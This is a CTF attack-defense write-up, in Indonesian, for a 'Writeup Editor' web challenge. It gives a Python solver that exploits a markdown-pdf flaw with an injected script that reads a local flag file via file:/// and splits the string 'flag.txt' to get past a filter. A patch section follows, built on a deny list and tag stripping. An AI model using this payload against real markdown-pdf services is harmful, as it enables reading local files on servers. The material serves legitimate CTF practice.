Web Exploitation
Last updated
Last updated
Writeup Editor
-
Scan dengan snyk test untuk dependency yang digunakan
Diketahui terdapat bug pada library markdown-pdf. Lakukan exploit dengan memanfaatkan payload dari https://security.snyk.io/vuln/SNYK-JS-MARKDOWNPDF-5411358 . Untuk bypass flag.txt ckup gunakan variable untuk menyimpan part dari string “flag.txt” . Berikut solver yang kami gunakan
#!/usr/bin/env python3
import requests
from PyPDF2 import PdfReader
import sys
import os
import uuid
id_val = uuid.uuid4()
tmp = id_val.urn
uuu = tmp.split(":")[-1]
ip = sys.argv[1]
dicc = {'10.0.0.4': 'Team #1', '10.0.0.5': 'Team #2', '10.0.0.6': 'Team #3', '10.2.0.3': 'Team #4', '10.2.0.4': 'Team #5', '10.2.0.5': 'Team #6', '10.2.0.6': 'Team #7', '10.2.0.7': 'Team #8', '10.2.0.8': 'Team #9', '10.2.0.9': 'Team #10', '10.2.0.10': 'Team #11', '10.2.0.11': 'Team #12', '10.2.0.12': 'Team #13', '10.2.0.13': 'Team #14', '10.2.0.14': 'Team #15'}
burp0_url = f"http://{ip}:50006/api/save"
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36", "Content-Type": "application/json", "Accept": "*/*", "Origin": "http://10.0.0.4:50006", "Referer": "http://10.0.0.4:50006/code/d16d1183-4018-4c66-8ac7-7196b82f37f9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
burp0_json={"code": "<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};var z = \"/flag/fl\";var zz=\"ag.txt\";x.open(\"GET\",\"file:///\"+z+zz);x.send();</script>", "target": "code/" + uuu}
resp = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
# print(dir(resp))
# print(resp.content/)
burp0_url = f"http://{ip}:50006/api/convert?source=code/{uuu}"
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://10.0.0.4:50006/code/d16d1183-4018-4c66-8ac7-7196b82f37f9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
resp = requests.get(burp0_url, headers=burp0_headers)
out = open(f"lol{dicc[ip]}.pdf","wb")
out.write(resp.content)
out.close()
reader = PdfReader(f'lol{dicc[ip]}.pdf')
page = reader.pages[0]
text = page.extract_text()
print(text, flush=True)
Kami melakukan patching dengan mereplace string script, <iframe, dan on pada convert dan save
convert.ts
// Next.js API route support: https://nextjs.org/docs/api-routes/introduction
import { securityCheck } from '@/utils';
import type { NextApiRequest, NextApiResponse } from 'next'
import * as fs from "node:fs";
export default function handler(
req: NextApiRequest,
res: NextApiResponse
) {
var dataSource = req.body;
if (req.method === "GET") dataSource = req.query;
securityCheck([dataSource], [':"code/'], ['..', 'flag.txt']);
if (dataSource.source === "" || dataSource.source === undefined) {
return res.status(400).json({ status: 'failed', message: 'source cannot be empty.' });
}
// dataSource.code = req.body.code.replaceAll('script', "_").replaceAll("<iframe", "_").replaceAll("on", "_")
const markdownpdf = require("markdown-pdf")
const contentStream = fs.createReadStream(dataSource.source);
res.writeHead(200, {
'Content-Type': 'application/pdf',
'content-disposition': `attachment; filename="${dataSource.source}.pdf"`,
});
contentStream
.pipe(markdownpdf({remarkable: {preset: 'commonmark'}}))
.pipe(res);
}
save.ts
// Next.js API route support: https://nextjs.org/docs/api-routes/introduction
import { securityCheck } from '@/utils';
import type { NextApiRequest, NextApiResponse } from 'next'
import * as fs from "node:fs";
type Data = {
status: string,
message: string,
}
export default function handler(
req: NextApiRequest,
res: NextApiResponse<Data>
) {
securityCheck([req.body], [':"code/'], ['..', 'flag.txt', '"target":"/']);
if (req.body.code === undefined || req.body.target === "" || req.body.target === undefined) {
return res.status(400).json({ status: 'failed', message: 'code or target cannot be empty.' });
}
req.body.code = req.body.code.replaceAll('<script', "_").replaceAll("<iframe", "_")
const targetStream = fs.createWriteStream(req.body.target);
targetStream.write(req.body.code);
targetStream.end();
return res.status(200).json({ status: 'success', message: 'success.' });
}